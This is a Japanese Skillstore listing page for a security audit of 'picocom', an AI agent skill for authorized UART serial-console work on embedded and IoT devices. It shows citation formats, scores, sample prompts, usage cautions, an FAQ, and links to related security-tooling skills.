監査者: codex 監査履歴を表示 →
このレポートを共有・引用
バージョン付き評価レポート、中立的なバッジ、埋め込みカード、引用を共有できます。Skillstore は証拠を報告しますが、この Skill が安全かどうかは判断しません。
レポートリンクをコピー
https://skillstore.io/skills/brownfinesecurity-picocom/audits/10?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdownバッジ
[](https://skillstore.io/skills/brownfinesecurity-picocom?utm_source=security_passport_badge)HTMLバッジ
<a href="https://skillstore.io/skills/brownfinesecurity-picocom?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/brownfinesecurity-picocom/security.svg" alt="Skillstore security assessment" loading="lazy"></a>埋め込みカード
<iframe src="https://skillstore.io/embed/skills/brownfinesecurity-picocom.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>学術引用 (APA · BibTeX · CFF)
APA形式の引用
BrownFineSecurity. (2026). picocom security audit report (audit version 10) [Author version unspecified]. Skillstore. https://skillstore.io/skills/brownfinesecurity-picocom/audits/10BibTeX形式の引用
@techreport{brownfinesecurity-brownfinesecurity-picocom-2026,
author = {BrownFineSecurity},
title = {picocom security audit report (audit version 10)},
institution = {Skillstore},
year = {2026},
number = {10},
url = {https://skillstore.io/skills/brownfinesecurity-picocom/audits/10},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "picocom security audit report (audit version 10)"
version: "unspecified"
type: report
authors:
- name: "BrownFineSecurity"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/brownfinesecurity-picocom/audits/10"
identifiers:
- type: other
value: "skillstore:brownfinesecurity-picocom:audit:10"
description: "Skillstore immutable audit report identifier"
Skillstore スコア
このスコアの理由 証拠の信頼度: 中 55
アーキテクチャ
85
保守性
87
コンテンツ
70
コミュニティ
83
仕様準拠
作成できるもの
ブートログをキャプチャ
組み込みデバイスからのブート出力を記録し、プロンプト、ボーレートの問題、起動サービスを特定します。
許可済みコンソールを調査
ラボデバイスで制御されたコマンドを実行し、セキュリティレポート用にセッション記録を保存します。
モデム AT インターフェースをテスト
セルラーまたは衛星モデムに AT コマンドを送信し、正常応答、エラー応答、接続応答を分類します。
これらのプロンプトを試す
基本的な UART セッションを開始
picocom スキルを使用して、/dev/ttyUSB0 の許可済みデバイスに 115200 baud で接続してください。最初のプロンプトをキャプチャし、見えた内容を要約してください。
ブート出力を監視
デバイスを再起動する間、UART 出力を 60 秒間監視してください。セッションログを保存し、ブート段階、プロンプト、エラーを要約してください。
制御された列挙を実行
私が提供するプロンプトでシリアルヘルパーを使用してください。小規模な許可済みチェックリストを実行し、ログからの証拠を含む簡潔な所見サマリーを返してください。
トリガーされた UART イベントを比較
ベースラインをキャプチャし、私の承認済みトリガーコマンドを実行して、トリガー前、トリガー中、トリガー後の UART 出力を比較してください。新しい警告やクラッシュを強調してください。
ベストプラクティス
- このスキルは、自分が所有しているデバイス、またはテストの書面による許可を得ているデバイスにのみ使用してください。
- セッションログにシークレットが含まれる可能性がある場合は、共有一時パスの外に保存してください。
- デバイス状態を変更するコマンドを実行する前に、パッシブ監視から開始してください。
回避
- 明示的な許可のないシステムで、永続化、バックドア、シェルエスケープの例を使用しないでください。
- 生のセッションログにはパスワード、キー、デバイス識別子が含まれる可能性があるため、公開しないでください。
- 1 つのボーレート、プロンプトパターン、行末がすべての組み込みデバイスで機能すると想定しないでください。
よくある質問
このスキルは何に役立ちますか？
組み込みおよび IoT セキュリティテスト向けに、許可済みの UART シリアルセッションを実行し、観察するのに役立ちます。
ハードウェアアクセスは必要ですか？
はい。シリアルアダプター、正しい配線、デバイスに接続する許可が必要です。
Claude、Codex、Claude Code を使用できますか？
はい。このレポートは、Claude、Codex、Claude Code 互換ワークフローのサポートを明記しています。
コマンドを送信せずに監視できますか？
はい。モニターモードでは、選択した時間だけ UART 出力をパッシブにキャプチャできます。
ログがセキュリティ上の懸念になるのはなぜですか？
シリアルログには、パスワード、トークン、キー、ネットワーク詳細、デバイス識別子が含まれる可能性があります。
これはどのデバイスにも安全ですか？
いいえ。一部のワークフローはデバイス状態を変更する可能性があるため、承認済みのラボテストに限定する必要があります。
開発者情報
ライセンス
MIT
Skillstore リビジョン
r1
バージョンに関する注意
作者はバージョンを宣言していません。
参照
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
メンテナンスの新しさ
2026/7/18
利用状況
5 ダウンロード · 201 閲覧
ファイル構成
BrownFineSecurity のその他のスキル
すべて表示📦
apktool
38ApktoolでAndroid APKを解析
Android APKの解析では、apktool、マニフェスト、リソースの確認手順を何度も繰り返す必要がある場合があります。このスキルは、Claude、Codex、Claude Codeに対して、安全な展開、検査、再パッケージ化のワークフローを案内します。
セキュリティ＆コンプライアンス 表示
📦
jadx
38JadxでAndroid APKを解析
Android APKのセキュリティレビューは、バイトコードやリソースを検査しにくい場合に時間がかかります。このスキルは、認可された評価のためにjadxによるデコンパイルと重点的なソースレビューをガイドします。
セキュリティ＆コンプライアンス 表示
📦
telnetshell
38IoT Telnet シェルの監査
認可されたセキュリティテスト中に、IoT telnet シェルを一貫して調査するのは困難です。このスキルは、telnet ヘルパー、列挙スクリプト、ログ記録ガイダンス、デバイス評価向けの構造化されたワークフローを提供します。
セキュリティ＆コンプライアンス 表示
📦
ffind
38ファームウェアのファイルタイプを解析
ファームウェアイメージには、手作業では調査しにくいファイルシステムやセキュリティアーティファクトが隠れていることがよくあります。このスキルは、ファイルタイプを特定し、管理された抽出を計画するための ffind 解析をガイドします。
セキュリティ＆コンプライアンス 表示
📦
chipsec
38CHIPSECでUEFIファームウェアを解析
ファームウェアダンプは、再現可能なツールなしではレビューが困難です。このスキルは、脅威チェック、インベントリ作成、構造デコード、レポート作成のためのオフラインCHIPSECワークフローを案内します。
セキュリティ＆コンプライアンス 表示
関連スキル
すべて表示📦
firmware-analyst
38ファームウェアセキュリティを分析する
作成者 sickn33
ファームウェアレビューでは、多くの場合、多数のツールと慎重な証拠の取り扱いが必要です。このスキルは、許可された抽出、エミュレーション、脆弱性レビュー、レポート作成をガイドします。
セキュリティ＆コンプライアンス 表示
📦
universal-audit
92Audit Software Releases with Evidence
作成者 glenskii
Release decisions often rely on incomplete evidence and inconsistent standards. This skill applies structured controls, deterministic scoring, and mandatory gates to assess readiness.
セキュリティ＆コンプライアンス 表示
📦
python-web-app-security-audit
90Audit Python Web Apps Before Release
作成者 glenskii
Python teams need repeatable checks for common application security controls. This skill provides configurable pytest coverage with clear evidence, boundaries, and release decisions.
セキュリティ＆コンプライアンス 表示
📦
information-security-manager-iso27001
84ISO 27001セキュリティガバナンスの実装
作成者 davila7
HealthcareおよびMedTechチームには、リスク、管理策、インシデント、監査を結び付ける体系的なISO 27001セキュリティプログラムが必要です。このスキルは、ISO 27001およびISO 27002を使用して、ISMS計画、リスクアセスメント、管理策の選定、認証準備を支援します。
セキュリティ＆コンプライアンス 表示
📦
risk-management-specialist
84医療機器リスクファイルの管理
作成者 alirezarezvani
医療機器チームには、設計、規制対応、市販後業務にわたって一貫したリスクマネジメントのエビデンスが必要です。このスキルは、ISO 14971 に基づく計画、分析、管理策、ファイル保守を支援します。
セキュリティ＆コンプライアンス 表示
📦
isms-audit-expert
83ISO 27001 ISMS 統制の監査
作成者 alirezarezvani
ISMS 監査には、明確な範囲、証拠、リスクベースの優先順位が必要です。このスキルは、ISO 27001 監査計画、統制テスト、準備作業を支援します。
セキュリティ＆コンプライアンス 表示